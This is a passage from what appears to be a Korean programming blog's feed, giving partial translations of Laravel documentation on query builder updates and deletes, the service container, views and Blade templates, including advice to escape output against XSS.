            -&gt;where('id', 1)
            -&gt;update(['options-&gt;enabled' =&gt; true]);
</code></pre>
<p><br><br></p>
<h3 id="incrementdecrement">Increment &amp; Decrement</h3>
<hr>
<p>또한 쿼리 빌더는 주어진 컬럼의 값을 늘리거나 줄이는 편리한 방법을 제공합니다. 단순히 단축키이며, &quot;<strong>update</strong>&quot; statement을 수동으로 작성하는 것보다 더 표현적이로 간결한 인터페이스를 제공합니다.<br>
<br>이 두 방법 모두 최소한 하나의 인자 (수정할 컬럼)을 허용합니다. 컬럼이 증가하거나 감소되어야 하는 양을 제어하기 위해 두 번째 인자가 선택적으로 전달될 수 있습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;increment('votes');

DB::table('users')-&gt;increment('votes', 5);

DB::table('users')-&gt;decrement('votes');

DB::table('users')-&gt;decrement('votes', 5);
</code></pre>
<p><br>작업 중에 업데이트할 추가 컬럼을 지정할 수 있습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;increment('votes', 1, ['name' =&gt; 'John']);
</code></pre>
<p><br><br></p>
<h3 id="deletes">Deletes</h3>
<hr>
<p>쿼리 빌더는 &quot;<strong>delete</strong>&quot; 메소드를 통하여 테이블에서 레코드를 삭제할 수 있습니다 &quot;<strong>delete</strong>&quot; 메소드를 호출하기 전에 &quot;<strong>where</strong>&quot; 구문을 추가하여 &quot;<strong>delete</strong>&quot; 구문을 제한할 수 있습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;delete();

DB::table('users')-&gt;where('votes', '&gt;', 100)-&gt;delete();
</code></pre>
<p><br>모든 행을 제거하고 auto incrementing ID를 0으로 재설정하는 작업을 &quot;<strong>truncate method</strong>&quot;를 사용하여 처리할 수 있습니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;truncate();
</code></pre>
<p><br><br></p>
<h3 id="pessimisticlocking">Pessimistic Locking</h3>
<hr>
<p>쿼리 빌더에서는 &quot;<strong>select</strong>&quot; 구문에 &quot;<strong>pessimistic  locking</strong>&quot;을 수행 하는데 도움이 되는 몇가지 함수도 포함되어 있습니다. &quot;<strong>share lock</strong>&quot;으로 구문을 실행하려면 쿼리에서 &quot;<strong>sharedLock</strong>&quot; 메소드를 사용할 수 있습니다. &quot;<strong>shared lock</strong>&quot;은 트랜잭션이 커밋될 때 까지 선택한 행이 수정되는 것을 방지합니다. <br><br></p>
<pre><code class="language-php">DB::table('users')-&gt;where('votes', '&gt;', 100)-&gt;sharedLock()-&gt;get();
</code></pre>
<p><br>또는 &quot;<strong>lockForUpdate</strong>&quot; 메소드를 사용할 수 있으며, &quot;<strong>for update</strong>&quot; 잠금은 행이 수정되거나 <strong>shared lock</strong>으로 선택되는 것을 방지합니다. <br><br></p>
<pre><code class="language-php">****
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel Service Container / Service Providers / Facades / Contracts]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - 서비스 컨테이너 / 서비스 프로바이더 / 파사드 / Contracts</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.10</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="servicecontainser">[Service Containser - 서비스 컨테이너]</h2>
<br> 
<h3 id="">컨테이너란?</h3>
<hr>
<p>라라벨 서비스 컨테이너는 클래스 의존성을 관리하고 의존성 주입을 수행하기 강력한 도구입니다. 의존성 주입은 기본적으로 의미하는 멋진 구문입니다. 클래스 의존성은 생성자 또는 경우에 따라 &quot;<strong>setter</strong>&quot;</p>]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-service-container/</link><guid isPermaLink="false">5f30a374a673e14bd491cfd0</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Mon, 10 Aug 2020 01:31:43 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - 서비스 컨테이너 / 서비스 프로바이더 / 파사드 / Contracts</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.10</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="servicecontainser">[Service Containser - 서비스 컨테이너]</h2>
<br> 
<h3 id="">컨테이너란?</h3>
<hr>
<p>라라벨 서비스 컨테이너는 클래스 의존성을 관리하고 의존성 주입을 수행하기 강력한 도구입니다. 의존성 주입은 기본적으로 의미하는 멋진 구문입니다. 클래스 의존성은 생성자 또는 경우에 따라 &quot;<strong>setter</strong>&quot; 메소드를 통해 클래스에 주입됩니다.</p>
<br>
<p>다음 간단한 예제를 보겠습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Http\Controllers;

use App\User;
use App\Repositories\UserRepository;
use App\Http\Controllers\Controller;

class UserController extends Controller
{
    /**
     * The user repository implementation.
     *
     * @var UserRepository
     */
    protected $users;

    /**
     * Create a new controller instance.
     *
     * @param  UserRepository  $users
     * @return void
     */
    public function __construct(UserRepository $users)
    {
        $this-&gt;users = $users;
    }

    /**
     * Show the profile for the given user.
     *
     * @param  int  $id
     * @return Response
     */
    public function show($id)
    {
        $user = $this-&gt;users-&gt;find($id);

        return view('user.profile', ['user' =&gt; $user]);
    }
}
</code></pre>
<br>
<p>위 예제에서 &quot;<strong>UserController</strong>&quot;는 데이터 소스에서 사용자를 검색해야 합니다. 따라서 우리는 사용자를 검색할 수 있는 서비스를 주입할 것입니다. 여기서 &quot;<strong>UserRepository</strong>&quot;는 데이터베이스에서 사용자 정보를 검색하기 위해 &quot;<strong>Eloquent</strong>&quot;를 사용하는 경우가 많습니다. 또한 &quot;<strong>repository</strong>&quot;가 삽입되었기에 손쉽게 다른 방식으로 교체할 수 있습니다. 또한 애플리케이션을 테스트할 때 쉽게 &quot;<strong>mock</strong>&quot; 하거나 &quot;<strong>UserRepository</strong>&quot;의 더미 구현을 만들 수 있습니다.</p>
<br>
<p>라라벨 서비스 컨테이너에 대한 깊은 이해는 강력하고 큰 애플리케이션을 구축하고 라라벨 코어 자체를 기여하하는데 중요합니다.</p>
<p><br><br></p>
<h3 id="bindingbasic">Binding Basic - 기본 바인딩</h3>
<hr>
<p>대부분 모든 서비스 컨테이너 바인딩이 &quot;<strong>서비스 프로바이더</strong>&quot; 내에 등록되므로 예제의 대부분은 해당 컨텍스트에서 컨테이너를 사용하는 방법을 보여줍니다.</p>
<br>
<p>인터페이스에 의존하지 않는 경우 클래스를 컨테이너에 바인딩할 필요가 없습니다. 컨테이너는 리플렉션을 사용하여 이러한 개체를 자동으로 해결할 수 있으므로 이러한 개체를 빌드하는 방법에 대해 알 필요는 없습니다.</p>
<p><br><br></p>
<h3 id="simplebindings">Simple Bindings - 간단한 바인딩</h3>
<hr>
<p>대부분 모든 서비스 컨테이너 바인딩이 &quot;<strong>서비스 프로바이더</strong>&quot; 내에 등록되므로 예제의 대부분은 해당 컨텍스트에서 컨테이너를 사용하는 방법을 보여줍니다.</p>
<br>
<p>서비스 프로바이더 내에서 항상 &quot;<strong>$this-&gt;app</strong>&quot; 속성을 통해 컨테이너에 액세스할 수 있습니다. &quot;<strong>bind</strong>&quot; 메소드를 사용하여 바인딩을 등록하고 등록하려는 클래스 또는 인터페이스 이름을 클래스의 인스턴스를 반환하는 &quot;<strong>Closure</strong>&quot;와 함께 전달할 수 있습니다.</p>
<br>
<pre><code class="language-php">$this-&gt;app-&gt;bind('HelpSpot\API', function ($app) {
    return new HelpSpot\API($app-&gt;make('HttpClient'));
});
</code></pre>
<p><br><br></p>
<p>계속 번역중</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel Views / Blade Templates / Localization]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - 뷰 / 블레이드 템플릿 / 다국어</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.09</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="views">[Views - 뷰]</h2>
<br> 
<h3 id="creatingviews">Creating Views - 뷰 생성하기</h3>
<hr>
<p>뷰에는 애플리케이션에서 제공하는 HTML로 포함되며 컨트롤러 / 애플리케이션 로직을 프레젠테이션 로직과 분리합니다.<br>
<strong>View</strong>는 &quot;<strong>resources/views</strong>&quot; 디렉터리에 저장됩니다. 간단한 View 예제는 아래와 같습니다.</p>
<br>
<pre><code class="language-html">&lt;!--</code></pre>]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-view/</link><guid isPermaLink="false">5f2f7bc5a673e14bd491cc41</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Sun, 09 Aug 2020 04:30:53 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - 뷰 / 블레이드 템플릿 / 다국어</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.09</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="views">[Views - 뷰]</h2>
<br> 
<h3 id="creatingviews">Creating Views - 뷰 생성하기</h3>
<hr>
<p>뷰에는 애플리케이션에서 제공하는 HTML로 포함되며 컨트롤러 / 애플리케이션 로직을 프레젠테이션 로직과 분리합니다.<br>
<strong>View</strong>는 &quot;<strong>resources/views</strong>&quot; 디렉터리에 저장됩니다. 간단한 View 예제는 아래와 같습니다.</p>
<br>
<pre><code class="language-html">&lt;!-- View stored in resources/views/greeting.blade.php --&gt;

&lt;html&gt;
    &lt;body&gt;
        &lt;h1&gt;Hello, {{ $name }}&lt;/h1&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<br>
<p>해당 View는 &quot;<strong>resources/views/greeting.blade.php</strong>&quot;에 저장되므로 다음과 같이 전역 &quot;<strong>view</strong>&quot; 도우미(helper)를 사용하여 반환할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('/', function () {
    return view('greeting', ['name' =&gt; 'James']);
});
</code></pre>
<br>
<p>보이는 바와 같이 도우미에 전달된 첫 번째 인수는 &quot;<strong>resources/views</strong>&quot; 디렉터리의 view 파일 이름에 해당합니다. Ex) &quot;resources/views/<strong>greeting</strong>.blade.php&quot;<br>
두 번째 인수는 view에서 사용할 수 있는 데이터의 배열입니다. 이 경우 &quot;<strong>Blade(블레이드)</strong>&quot; 구문을 사용하여 View에 표시되는 &quot;<strong>name</strong>&quot; 변수를 전달합니다. Python Flask의 Jinja 문법처럼 PHP Laravel에는 Blade 문법이 존재합니다. <br><br></p>
<p>물론, View는 &quot;<strong>resources/view</strong>&quot; 디렉터리의 서브 디렉터리내에 중첩될 수 있습니다. &quot;<strong>Dot</strong>&quot;(점) 표기법을 사용하여 중첩된 view를 참조할 수 있습니다. 예를 들어 &quot;<strong>resources/views/admin/profile.blade.php</strong>&quot;에 저장되어 있는 경우 아래와 같이 이를 참조할 수 있습니다.</p>
<br>
<pre><code class="language-php">return view('admin.profile', $data);
</code></pre>
<p><br><br></p>
<h3 id="determiningifaviewexistsview">Determining If A View Exists - View가 존재하는지 확인하기</h3>
<hr>
<p>View 파일이 존재하는지 확인해야하는 경우 View Facade(파사드)를 사용할 수 있습니다. View가 존재하는 경우 &quot;<strong>exists</strong>&quot; 메소드에서 &quot;<strong>true</strong>&quot;를 반환합니다.</p>
<br>
<pre><code class="language-php">use Illuminate\Support\Facades\View;

if (View::exists('emails.customer')) {
    //
}
</code></pre>
<p><br><br></p>
<h3 id="passingdatatoviewsview">Passing Data To Views - View에 데이터 전달하기</h3>
<hr>
<p>이전 예제에서 확인하였듯이, 뷰에 데이터 배열을 전달할 수 있습니다.</p>
<br>
<pre><code class="language-php">return view('greetings', ['name' =&gt; 'Victoria']);
</code></pre>
<br>
<p>이러한 방식으로 정보를 전달할 때, <strong>$data</strong>는 키/값 쌍으로 구성된 배열로 전달되어야합니다. View내에서 &lt;<strong>?php echo $key; ?&gt;</strong> 와 같이 각각의 키에 해당하는 값에 액세스할 수 있습니다. view 도우미 함수에 전체 데이터 배열을 전달하는 대신 &quot;<strong>with</strong>&quot; 메소드를 사용하여 개별 데이터 조각을 view에 추가할 수 있습니다.</p>
<br>
<pre><code class="language-php">return view('greeting')-&gt;with('name', 'Victoria');
</code></pre>
<p><br><br></p>
<h3 id="sharingdatawithallviews">Sharing Data With All Views - 모든 뷰에서 데이터 공유하기</h3>
<hr>
<p>경우에 따라 애플리케이션에서 렌더링하는 모든 뷰와 데이터를 공유해야할 수 있습니다. 뷰 파사드의 &quot;<strong>share</strong>&quot; 메소드를 사용하면 됩니다. 일반적으로 서비스 프로바이더의 &quot;<strong>boot</strong>&quot; 메소드에 구성해 놓아야 합니다. &quot;<strong>AppServiceProvider</strong>&quot;에 추가하거나 별도의 서비스 공급자를 생성하여 저장할 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Providers;

use Illuminate\Support\Facades\View;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        View::share('key', 'value');
    }

    /**
     * Register the service provider.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}
</code></pre>
<p><br><br></p>
<h3 id="viewcomposers">View Composers - 뷰 컴포저</h3>
<hr>
<p>뷰 컴포저는 뷰가 렌더링될 때 호출되는 콜백 또는 클래스 메소드입니다. 뷰가 렌더링될 때 마다 뷰에 바인딩(전달)하려는 데이터가 있는 경우 뷰 컴포저가 해당 로직을 단일 위치로 구성하는데 도와줄 수 있습니다. <br><br>
예를 들어, 서비스 프로바이더내에 뷰 컴포저를 등록해보도록 하겠습니다. View 파사드를 사용하여 기본 &quot;<strong>Illuminate\Contracts\View\Factory</strong>&quot; contract 구현체에 액세스하기 위해 &quot;<strong>View</strong>&quot; 파사드를 사용할 것입니다. 라라벨은 뷰 컴포저를 위한 기본 디렉터리를 포함하지 않습니다. 원하는대로 구성할 수 있으며, &quot;<strong>App\Http\ViewComposers</strong>&quot; 디렉터리를 만들 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Providers;

use Illuminate\Support\Facades\View;
use Illuminate\Support\ServiceProvider;

class ComposerServiceProvider extends ServiceProvider
{
    /**
     * Register bindings in the container.
     *
     * @return void
     */
    public function boot()
    {
        // Using class based composers...
        View::composer(
            'profile', 'App\Http\ViewComposers\ProfileComposer'
        );

        // Using Closure based composers...
        View::composer('dashboard', function ($view) {
            //
        });
    }

    /**
     * Register the service provider.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}
</code></pre>
<br>
<p>뷰 컴포저 등록을 포함할 새 서비스 프로바이더를 생성할 경우 &quot;<strong>config/app.php</strong>&quot; 설정 파일의 &quot;<strong>providers</strong>&quot; 배열에 이 서비스 프로바이더를 추가해야 합니다.</p>
<br>
<p>이제 view composer를 등록했다면 &quot;<strong>profile</strong>&quot; 뷰가 렌더링될 때 마다 &quot;<strong>ProfileComposer@compose</strong>&quot; 메소드가 실행될 것입니다. 이제 컴포저 클래스를 정의해봅시다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Http\ViewComposers;

use Illuminate\View\View;
use App\Repositories\UserRepository;

class ProfileComposer
{
    /**
     * The user repository implementation.
     *
     * @var UserRepository
     */
    protected $users;

    /**
     * Create a new profile composer.
     *
     * @param  UserRepository  $users
     * @return void
     */
    public function __construct(UserRepository $users)
    {
        // Dependencies automatically resolved by service container...
        $this-&gt;users = $users;
    }

    /**
     * Bind data to the view.
     *
     * @param  View  $view
     * @return void
     */
    public function compose(View $view)
    {
        $view-&gt;with('count', $this-&gt;users-&gt;count());
    }
}
</code></pre>
<br>
<p>뷰가 렌더링되기 직전에 Composer의 compose 메소드가 &quot;<strong>Illuminate\View\View</strong>&quot; 인스턴스와 함께 호출됩니다. with 메소드를 사용하여 데이터를 뷰에 바인딩할 수 있습니다.<br>
<br>모든 뷰 컴포저는 &quot;<strong>service container</strong>&quot; 를 통해 해결되므로 컴포저의 생성자 내에서 필요한 중속성 유형 타입힌트할 수 있습니다.</p>
<p><br><br></p>
<h3 id="attachingacomposertomultipleviews">Attaching A Composer To Multiple Views - 컴포저를 여러 뷰에 적용하기</h3>
<hr>
<p>&quot;<strong>Composer</strong>&quot; 메소드의 첫 번째 인수로 뷰 배열을 전달하여 한 번에 여러 뷰에 뷰 컴포저를 연결할 수 있습니다.</p>
<br>
<pre><code class="language-php">View::composer(
    ['profile', 'dashboard'],
    'App\Http\ViewComposers\MyViewComposer'
);
</code></pre>
<br>
<p><strong>composer</strong> 메소드 또한 &quot;<strong>*</strong>&quot; 와일드 카드 문자를 허용하므로 컴포저를 모든 뷰에 연결할 수 있습니다.</p>
<br>
<pre><code class="language-php">View::composer('*', function ($view) {
    //
});
</code></pre>
<p><br><br></p>
<h3 id="viewcreators">View Creators</h3>
<hr>
<p>뷰 크리에디터는 뷰 컴포저와 매우 유사합니다. 그러나 뷰가 렌더링될 때 까지 기다리지 않고 뷰가 인스턴스화된 직후에 실행됩니다. 뷰 크리에디터를 등록하려면 &quot;<strong>view의 creator</strong>&quot; 사용하면 됩니다.</p>
<br>
<pre><code class="language-php">View::creator('profile', 'App\Http\ViewCreators\ProfileCreator');
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><br><br><br></p>
<h2 id="bladetemplates">[Blade Templates - 블레이드 템플릿]</h2>
<br> 
<h3 id="">블레이드 템플릿이란?</h3>
<hr>
<p>Blade는 라라벨과 함께 제공되는 간단하면서도 강력한 템플릿 엔진입니다. 다른 인기있는 PHP 템플릿 엔진과 달리 &quot;<strong>Blade</strong>&quot;는 View에서 일반 PHP 코드를 사용하는 것을 허용합니다(제한하지 않습니다). 실제로 모든 Blade View는 일반 PHP 코드로 컴파일되고 수정될 때 까지 캐시됩니다. 즉, 블레이드는 기본적으로 애플리케이션에 오버 헤드(부담)가 전혀 없습니다. 블레이드 view 파일은 &quot;<strong>.blade.php</strong>&quot; 파일 확장자를 사용하며 일반적으로 &quot;<strong>resurces/views</strong>&quot; 디렉터리에 저장됩니다.</p>
<p><br><br></p>
<h3 id="templateinheritance">Template Inheritance - 템플릿 상속</h3>
<br>
<h3 id="definingalayout">Defining A Layout - 레이아웃 정의</h3>
<hr>
<p>Blade 사용의 두 가지 주요 이점은 &quot;<strong>템플릿 상속</strong>&quot;과 &quot;<strong>섹션</strong>&quot;입니다. 먼저 시작하기전 간단한 예를 살펴 보겠습니다. &quot;<strong>마스터</strong>&quot; 페이지 레이아웃을 살펴 보겠습니다. 대부분의 웹 애플리케이션은 다양한 페이지에서 동일한 일반 레이아웃을 유지하므로 해당 레이아웃을 단일 블레이드 view로 정의하는 것이 편리합니다.</p>
<br>
<pre><code class="language-php">&lt;!-- Stored in resources/views/layouts/app.blade.php --&gt;

&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;App Name - @yield('title')&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        @section('sidebar')
            This is the master sidebar.
        @show

        &lt;div class=&quot;container&quot;&gt;
            @yield('content')
        &lt;/div&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<br>
<p>위 예제를 보면 일반적인 HTML 마크업 문법이 포함되어 있습니다. 그러나 &quot;<strong>@section</strong>&quot; 및 &quot;<strong>@yield</strong>&quot; 지시문에 유의해주십시오. 이름에서 알 수 있듯이 &quot;<strong>@section</strong>&quot; 지시문은 콘텐츠 섹션을 정의하고, &quot;<strong>@yield</strong>&quot; 지시문은 주어진 섹션의 콘텐츠를 표시하는데 사용됩니다. <br><br>
이제 애플리케이션의 레이아웃을 정의 했으므로 레이아웃을 상속하는 자식 페이지를 정의해보도록 하겠습니다.</p>
<p><br><br></p>
<h3 id="extendingalayout">Extending A Layout - 레이아웃 확장</h3>
<hr>
<p>하위 뷰를 정의할 때 &quot;<strong>Blade</strong>&quot; &quot;<strong>@extends</strong>&quot; 지시어를 사용하여 하위 뷰가 &quot;<strong>inherit(상속)</strong>&quot; 받을지 명시할 수 있습니다. 블레이드 레이아웃을 확장하는 뷰는 &quot;<strong>@section</strong>&quot; 지시문을 사용하여 레이아웃의 섹션에 콘텐츠를 삽입할 수 있습니다. 위의 예제에서 볼 수 있듯이, 이러한 섹션의 내용은 &quot;<strong>@yield</strong>&quot;를 사용하여 레이아웃을 표시합니다.</p>
<br>
<pre><code class="language-php">&lt;!-- Stored in resources/views/child.blade.php --&gt;

@extends('layouts.app')

@section('title', 'Page Title')

@section('sidebar')
    @parent

    &lt;p&gt;This is appended to the master sidebar.&lt;/p&gt;
@endsection

@section('content')
    &lt;p&gt;This is my body content.&lt;/p&gt;
@endsection
</code></pre>
<br>
<p>위 예제에서 &quot;<strong>sidebar</strong>&quot; 섹션은 &quot;<strong>@parent</strong>&quot; 지시문을 사용하여 레이아웃의 사이드 바에 컨텐츠를 추가 (덮어 쓰지 않고)합니다. &quot;<strong>@parent</strong>&quot; 지시문은 View가 렌더링될 때 레이아웃의 내용으로 대체됩니다. <br></p>
<p>글로벌 View 헬퍼를 사용하여 라우트에 블레이드 view를 반환할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('blade', function () {
    return view('child');
});
</code></pre>
<p><br><br></p>
<h3 id="displayingdata">Displaying Data - 데이터 표시하기</h3>
<hr>
<p>전달되는 변수를 중괄호 &quot;<strong>[</strong>&quot;, &quot;<strong>]</strong>&quot;로 묶어 블레이드 뷰에 전달된 데이터를 표시할 수 있습니다.<br>
예를 들어 아래와 같은 라우트를 볼 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('greeting', function () {
    return view('welcome', ['name' =&gt; 'Samantha']);
});
</code></pre>
<br>
<p>다음과 같이 &quot;<strong>name</strong>&quot; 변수의 내용을 표시할 수 있습니다.</p>
<br>
<pre><code class="language-php">Hello, {{ $name }}.
</code></pre>
<br>
<p>물론 뷰에 전달된 변수의 내용을 표시하는 데 제한되지 않습니다. PHP 함수의 결과를 출력할 수 있으며, 실제로 Blade 문법 안에서 원하는 모든 PHP 코드를 넣어 실행할 수 있습니다.</p>
<br>
<pre><code class="language-php">The current UNIX timestamp is {{ time() }}.
</code></pre>
<br>
<p>Blade &quot;<strong>{{ }}</strong>&quot; 문법은 XSS Attack을 방지하기 위해 자동으로 PHP의 &quot;<strong>htmlentities</strong>&quot; 함수를 거쳐 출력됩니다.</p>
<p><br><br></p>
<h3 id="echoingdataifitexists">Echoing Data If It Exists - 데이터가 있는 경우 출력</h3>
<hr>
<p>때로는 변수를 출력하고 싶지만 변수가 존재하는지 정확히 알지 못하는 경우가 있습니다. 이를 다음과 같이 아래 PHP 코드를 통하여 표현할 수 있습니다.</p>
<br>
<pre><code class="language-php">/* $name 존재할 경우 $name 그대로 출력, 없을 경우 &quot;Default&quot; 출력 */
{{ isset($name) ? $name : 'Default' }}
</code></pre>
<br>
<p>그러나 삼항연산자를 작성하여 위의 블레이드 대신 삼항연산자로 컴파일되어 다음과 같이 편리하게 단축을 제공합니다.</p>
<br>
<pre><code class="language-php">/* $name 변수가 존재하지 않을 경우 &quot;Default&quot; 반환한다.  */
{{ $name or 'Default' }}
</code></pre>
<br>
<p>위 예에서 &quot;<strong>$name</strong>&quot; 변수가 존재시 그대로 $name 변수값이 표시되지만, 존재하지 않을 경우 &quot;<strong>Default</strong>&quot;로 표시됩니다.</p>
<p><br><br></p>
<h3 id="displayingunescapeddata">Displaying Unescaped Data - 이스케이프 되지 않도록 데이터 표시하기</h3>
<hr>
<p>기본적으로 Blade 문법은 XSS 공격에 대응하기 위해 자동으로 PHP 함수의 &quot;<strong>htmlentities</strong>&quot;를 실행하여 반환값을 전달합니다. 하지만 데이터를 escape를 원치 않을 경우 다음과 같이 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">/* 전달된 $name 변수는 그대로 출력된다. */
Hello, {!! $name !!}.
</code></pre>
<br>
<p>특별한 경우를 제외하고는 애플리케이션이 사용자들로 부터 입력받아 출력(표시)될 때는 컨텐츠를 안전하게 escape(이스케이프)를 처리할 수 있도록 주의가 필요합니다.<br>
만약 escape처리를 하지 않는 다면 XSS 취약점으로 세션 탈취 및 CSRF, SSRF 등 공격이 발생하게 됩니다.<br>
안전을 위해서 항상 이스케이프 처리된 이중 중괄호 &quot;<strong>{{ }}</strong>&quot;을 사용하십시오.</p>
<p><br><br></p>
<h3 id="bladejavascriptframeworks">Blade &amp; JavaScript Frameworks - 블레이드 &amp; 자바스크립트 프레임워크</h3>
<hr>
<p>많은 자바스크립트 프레임워크도 &quot;<strong>중괄호</strong>&quot;를 사용하여 지정된 표현식으로 브라우저에 표시되어야 함을 나타내므로 &quot;<strong>@</strong>&quot;기호를 사용하여 블레이드 렌더링 엔진에 표현식이 그대로 유지될 수 있습니다.</p>
<br>
<pre><code class="language-html">&lt;h1&gt;Laravel&lt;/h1&gt;

Hello, @{{ name }}.
</code></pre>
<br>
<p>위 예제에서 &quot;<strong>@</strong>&quot; 기호는 Blade에 의해 제거됩니다. 하지만 &quot;<strong>{{ name }}</strong>&quot; 표현은 블레이드 엔진에 의해 영향을 받지 않으며 자바스크립트 프레임워크에 의해 렌더링될 수 있게 해줍니다.</p>
<p><br><br></p>
<h3 id="theverbatimdirectiveverbatim">The @verbatim Directive - @verbatim 지시어</h3>
<hr>
<p>템플릿의 많은 부분에 Javascript 변수를 표시하는 경우 &quot;<strong>@verbatim</strong>&quot; 지시어로 블레이드 출력문 앞에 &quot;<strong>@</strong>&quot; 기호를 쓸 필요가 없어집니다.</p>
<br>
<pre><code class="language-php">@verbatim
    &lt;div class=&quot;container&quot;&gt;
        Hello, {{ name }}.
    &lt;/div&gt;
@endverbatim
</code></pre>
<p><br><br><br></p>
<h2 id="controlstructures">[Control Structures - 제어 구조]</h2>
<p>템플릿 상속 및 데이터 표시 외에도 Blade는 조건문 및 반복문과 같이 일반적인 PHP 제어 구조에 대한 편리한 기능을 제공합니다. 해당 방법들은 PHP 컨트롤러 구조를 이용할 수 있는 매우 깔끔하고 간결한 방법을 제공하는 동시에 PHP 코드에 익숙한 구조와 비슷하게 유지합니다.</p>
<br> 
<h3 id="ifstatementsif">if Statements - if문</h3>
<hr>
<br>
<p>&quot;<strong>@if</strong>&quot;, &quot;<strong>@elseif</strong>&quot;, &quot;<strong>@else</strong>&quot;, &quot;<strong>@endif</strong>&quot; 지시문을 사용하여 if 조건문을 구성할 수 있습니다. 해당 지시문은 PHP 조건문과 동일하게 작동됩니다.</p>
<br>
<pre><code class="language-php">@if (count($records) === 1)
    I have one record!
@elseif (count($records) &gt; 1)
    I have multiple records!
@else
    I don't have any records!
@endif
</code></pre>
<br>
<p>보다 나은 편의를 위해 Blade에서는 &quot;<strong>@unless</strong>&quot; 문법도 제공합니다.</p>
<br>
<pre><code class="language-php">@unless (Auth::check())
    You are not signed in.
@endunless
</code></pre>
<p><br><br></p>
<h3 id="loops">Loops - 반복문</h3>
<hr>
<p>조건문 외에도 Blade는 PHP의 반복문을 위한 간단한 지시문을 제공합니다. 이러한 각 지시문은 기존 PHP 코드와 동일하게 작동합니다.</p>
<br>
<pre><code class="language-php">@for ($i = 0; $i &lt; 10; $i++)
    The current value is {{ $i }}
@endfor

@foreach ($users as $user)
    &lt;p&gt;This is user {{ $user-&gt;id }}&lt;/p&gt;
@endforeach

@forelse ($users as $user)
    &lt;li&gt;{{ $user-&gt;name }}&lt;/li&gt;
@empty
    &lt;p&gt;No users&lt;/p&gt;
@endforelse

@while (true)
    &lt;p&gt;I'm looping forever.&lt;/p&gt;
@endwhile
</code></pre>
<br>
<p>반복문을 사용할 때 반복문 변수를 사용하여 반복문의 첫 번째 또는 마지막 반복문에 대한 정보를 얻을 수 있습니다.</p>
<br>
<p>반복문을 사용할 때 반복문을 종료하거나 현재 반복 단계를 건너 뛸 수 있습니다. 즉, 기존 PHP 반복문 또는 조건문 그대로 사용이 가능합니다.</p>
<br>
<pre><code class="language-php">@foreach ($users as $user)
    @if ($user-&gt;type == 1)
        @continue
    @endif

    &lt;li&gt;{{ $user-&gt;name }}&lt;/li&gt;

    @if ($user-&gt;number == 5)
        @break
    @endif
@endforeach
</code></pre>
<br>
<p>또한 반복문과 함께 조건식을 하나의 라인으로 표현할 수 있습니다.</p>
<pre><code class="language-php">@foreach ($users as $user)
    @continue($user-&gt;type == 1)

    &lt;li&gt;{{ $user-&gt;name }}&lt;/li&gt;

    @break($user-&gt;number == 5)
@endforeach
</code></pre>
<p><br><br></p>
<h3 id="theloopvariable">The Loop Variable - 반복문 변수</h3>
<hr>
<p>반복문을 사용할 때 반복문 내에서 &quot;<strong>$loop</strong>&quot; 변수를 사용할 수 있습니다. 해당 변수는 현재 반복문의 인덱스 및 반복문이 첫 번째 또는 마지막 인지 알 수 있으며 이와 같은 유용한 정보에 대한 액세스를 제공합니다.</p>
<br>
<pre><code class="language-php">@foreach ($users as $user)
    @if ($loop-&gt;first)
        /* 첫 번째 루프에서 수행 */
        This is the first iteration.
    @endif

    @if ($loop-&gt;last)
        /* 마지막 루프에서 수행 */
        This is the last iteration.
    @endif

    &lt;p&gt;This is user {{ $user-&gt;id }}&lt;/p&gt;
@endforeach
</code></pre>
<br>
<p>반복문이 중첩되어 있는 상위 반복문의 &quot;<strong>$loop</strong>&quot; 변수에 &quot;<strong>parent</strong>&quot; 속성을 통해서 액세스할 수 있습니다.</p>
<br>
<pre><code class="language-php">@foreach ($users as $user)
